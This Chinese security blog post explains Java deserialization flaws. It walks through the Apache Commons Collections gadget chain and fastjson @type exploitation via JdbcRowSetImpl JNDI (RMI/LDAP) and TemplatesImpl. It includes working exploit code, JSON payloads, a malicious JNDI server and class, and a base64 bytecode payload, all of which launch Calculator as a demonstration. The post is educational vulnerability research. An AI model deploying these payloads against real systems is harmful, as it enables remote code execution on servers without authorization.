java反序列化与Apache CC链、fastjson反序列化的理解与研究

小鱼儿 2023-01-13 01:45 267阅读 0赞

文章目录

    1. 前言
    1. 为什么会存在序列化技术
    1. 序列化与反序列化
  • 补充
    1. 为什么会有反序列化漏洞
    1. JAVA Apache-CommonsCollections 序列化RCE漏洞分析
    1. Fastjson 反序列化漏洞
      1. 怎么确定是用了fastjson
      1. 机制
      1. JdbcRowSetImpl
        1. RMI+JNDI
        1. LDAP+JNDI
      1. TemplatesImpl
        1. Poc
    1. 参考文章

1. 前言

java反序列化是将一个序列化文件或者序列化数据进行还原处理。一个被序列化的数据的2进制数据特征是以aced0005开头,有点类似于exe文件都有PE头一样,具体如下所示:
在这里插入图片描述
序列化技术的出现,是为了方便数据保存与传输的。它将数据变成了字节的形式进行保存并便于通过socket进行传输。

2. 为什么会存在序列化技术

1、方便对象的保存
2、方便对象在网络上传输

网络上只能传输字节流数据,对象本是无法在网络上直接进行传输的。而序列化技术可以将对象进行字节流化,进而在网络上进行传输。

参考文章:什么是序列化,为什么要序列化。

2. 序列化与反序列化

序列化一个对象,并存储到文件test中,参考代码Ser.java:

  1. import java.io.*;
  2. class Malicious implements Serializable{
  3. public String test_var = "Variable";
  4. private void readObject(java.io.ObjectInputStream ObjectIn) throws IOException, ClassNotFoundException{
  5. //执行默认的readObject()方法
  6. ObjectIn.defaultReadObject();
  7. //执行打开计算器程序命令
  8. Runtime.getRuntime().exec("open /Applications/QQ.app/");
  9. }
  10. }
  11. public class Ser {
  12. public static void main(String[] args) throws IOException {
  13. String path = "/Users/shukasakai/Desktop/test";
  14. FileOutputStream file = new FileOutputStream(path);
  15. ObjectOutputStream oos = new ObjectOutputStream(file);
  16. Malicious Mal_Demo = new Malicious();
  17. oos.writeObject(Mal_Demo);
  18. file.close();
  19. oos.close();
  20. }
  21. }

将test反序列化,并输出对象中的test_var参数,参考代码UnSer.java:

  1. import java.io.*;
  2. public class UnSer {
  3. public static void main(String[] args) throws IOException, ClassNotFoundException {
  4. String path = "/Users/shukasakai/Desktop/test";
  5. FileInputStream file = new FileInputStream(path);
  6. ObjectInputStream oos = new ObjectInputStream(file);
  7. Malicious Mal_Demo = (Malicious) oos.readObject();
  8. System.out.println(Mal_Demo.test_var);
  9. file.close();
  10. oos.close();
  11. }
  12. }

结果在执行反序列化的时候成功弹出QQ:
在这里插入图片描述

补充

  1. return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

如果obj是JSONObject的实例,则返回(JSONObject)obj,如果不是,则返回(JSONObject)toJSON(obj)。

3. 为什么会有反序列化漏洞

暴露或间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。反序列化漏洞一般都与重写的readObject函数或者JNDI、java反射等技术有关系。

4. JAVA Apache-CommonsCollections 序列化RCE漏洞分析

  1. import java.io.File;
  2. import java.io.FileInputStream;
  3. import java.io.FileOutputStream;
  4. import java.io.ObjectInputStream;
  5. import java.io.ObjectOutputStream;
  6. import java.lang.annotation.Retention;
  7. import java.lang.reflect.Constructor;
  8. import java.util.HashMap;
  9. import java.util.Map;
  10. import org.apache.commons.collections4.*;
  11. import org.apache.commons.collections4.functors.ChainedTransformer;
  12. import org.apache.commons.collections4.functors.ConstantTransformer;
  13. import org.apache.commons.collections4.functors.InvokerTransformer;
  14. import org.apache.commons.collections4.map.TransformedMap;
  15. public class test3 {
  16. public static Object Reverse_Payload() throws Exception {
  17. Transformer[] transformers = new Transformer[] {
  18. new ConstantTransformer(Runtime.class),
  19. new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
  20. new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
  21. new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" })
  22. };
  23. Transformer transformerChain = new ChainedTransformer(transformers);
  24. Map<String, String> innermap = new HashMap<>();
  25. innermap.put("value", "value");
  26. Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
  27. //通过反射获得AnnotationInvocationHandler类对象
  28. Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  29. //通过反射获得cls的构造函数
  30. Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
  31. //这里需要设置Accessible为true,否则序列化失败,值为 true 则指示反射的对象在使用时应该取消Java语言访问检查
  32. ctor.setAccessible(true);
  33. //通过newInstance()方法实例化对象
  34. Object instance = ctor.newInstance(Retention.class, outmap);
  35. return instance;
  36. }
  37. public static void GeneratePayload(Object instance, String file)
  38. throws Exception {
  39. //将构造好的payload序列化后写入文件中
  40. File f = new File(file);
  41. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
  42. out.writeObject(instance);
  43. out.flush();
  44. out.close();
  45. }
  46. public static void payloadTest(String file) throws Exception {
  47. //读取写入的payload,并进行反序列化
  48. ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
  49. in.readObject();
  50. in.close();
  51. }
  52. public static void main(String[] args) throws Exception {
  53. GeneratePayload(Reverse_Payload(),"obj"); //序列化
  54. payloadTest("obj"); //反序列化
  55. }
  56. }

简单来说就是:

  1. 有一个接口:org.apache.commons.collections.Transformer
  2. 有一个 InvokerTransformer 类实现了 Transformer接口中的一个函数,这个函数名为transform。
  3. InvokerTransformer中实现的这个transform的逻辑是使用反射机制调用其他任意类,可以简单的理解这个transform就是个命令执行的函数。
  4. 用户可以控制InvokerTransformer这个类中传入transform的参数,但是暂时无法直接调用transform函数,也就是说我们只能传入命令,但无法启动transform执行我们传入的命令。
  5. 我们创建有一个Transformer类型数组,其中有我们可定义参数的InvokerTransformer对象,其中有我们想执行的命令。将这个数组传入transformerChain对象中。
  6. transformerChain对象的transform函数可以调用传入的Transformer数组中每一个InvokerTransformer对象的transform函数,transformerChain对象是transformer类型的。

也就是说我们只要寻找一种可以调用transformerChain对象的transform函数的方法,就可以实施RCE攻击了。

我们又发现:
transformedMap对象是map类型的,transformedMap对象中的 checkSetValue() 方法会触发传入的transformer类型的值的transform方法,也就是我们只要触发transformedMap对象的checkSetValue方法即可达到目的,我们发现了Map类型对象的setValue函数可以触发transformedMap对象的checkSetValue方法。于是就有了下面的做法:

  1. 使用transformedMap的decorate函数与transformer类型恶意transformerChain对象生成一个恶意的map对象,这个对象中含有传入的transformer类型对象。
  2. 想办法触发这个map对象的setValue函数,间接触发transformerChain对象的transform方法,进而达到RCE。所以这时候我们的核心就是如何找到触发setValue函数的点。

接着,我们又发现,AnnotationInvocationHandler类有一个类成员memberValues是Map类型,且AnnotationInvocationHandler类的readObject函数会对memberValues的每一项都调用setValue函数。


这时候已经解决了所有的问题,触发链也已经凑齐。我们只需要序列化AnnotationInvocationHandler类,并将恶意参数也就是我们之前生成的恶意Map类型变量传入其中,然后发送到服务端,等待服务端的反序列化触发readObject函数触发了setValue函数后,即可实现RCE攻击。

5. Fastjson 反序列化漏洞

  • FastJson反序列化的时候,JSON数据中的@type的值指向的是被反序列化的目标类。

1. 怎么确定是用了fastjson

Dnslog
报错信息
DoS时间延迟*
畸形键值对
pom.xml

2. 机制

FastJson反序列化的时候有两个函数,一个是parse,一个是parseObject。特殊机制如下:

  1. 使用parse触发反序列化,会调用目标类的所有set函数。
  2. 使用parseObject触发反序列化,会调用目标类所有set跟get函数。

3. JdbcRowSetImpl

JdbcRowSetImpl利用链会导致JNDI注入,可以使用RMI/ldap+JNDI注入进行利用。

1. RMI+JNDI

Poc:
如果下面这段json数据被反序列化了,则会造成漏洞。

  1. { "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

自己配置rmi服务,并将恶意类放在服务器上,且用reference设置。参考代码如下:

  1. public class JNDIServer {
  2. public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
  3. Registry registry = LocateRegistry.createRegistry(1099);
  4. Reference reference = new Reference("Exloit",
  5. "badClassName","http://127.0.0.1:8000/");
  6. ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
  7. registry.bind("Exploit",referenceWrapper);
  8. }
  9. }

远程的恶意类badClassName.class:

  1. public class badClassName {
  2. static{
  3. try{
  4. Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
  5. }catch(Exception e){
  6. ;
  7. }
  8. }
  9. }

2. LDAP+JNDI

和RMI+JNDI一样,只是拉取恶意类的通信方式变成了LDAP,Poc如下:

  1. { "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1:1099/badClassName", "autoCommit":true}

4. TemplatesImpl

Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄。

1. Poc

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.io.IOException;
  7. public class TEMPOC extends AbstractTranslet {
  8. public TEMPOC() throws IOException {
  9. Runtime.getRuntime().exec("open -a Calculator");
  10. }
  11. @Override
  12. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  13. }
  14. @Override
  15. public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
  16. }
  17. public static void main(String[] args) throws Exception {
  18. TEMPOC t = new TEMPOC();
  19. }
  20. }

将上述代码编译为class文件,然后使用下面的代码生成利用payload:

  1. import base64
  2. fin = open(r"TEMPOC.class","rb")
  3. byte = fin.read()
  4. fout = base64.b64encode(byte).decode("utf-8")
  5. poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
  6. print poc

最终生成的Poc如下:

  1. { "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

可以理解成直接将传入的class文件进行了实例化,触发了构造函数进而造成RCE攻击。


从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数,这个函数的作用就是判断那个类是否在白名单中,如果不在看是否在黑名单中,有大概以下的绕过方式:

在这里插入图片描述

6. 参考文章

深入理解 JAVA 反序列化漏洞
Fastjson 1.2.22-1.2.24反序列化漏洞分析
理解RMI、JRMP、JNDI、java反射

发表评论

表情:
评论列表 (有 0 条评论,267人围观)

还没有评论,来说两句吧...

相关阅读

    相关 序列序列理解误区

    在处理序列化和反序列化的概念时,可能会存在一些误解。以下是一些常见的误区: 1. **顺序理解**:很多人认为序列化就是将数据转化为字符串的过程,而反序列化则是反过来将字符串

    相关 java 序列序列

    一、什么是序列化与反序列化? > Java 序列化是指把 Java 对象转换为字节序列的过程; > Java 反序列化是指把字节序列恢复为 Java 对象的过程; 二、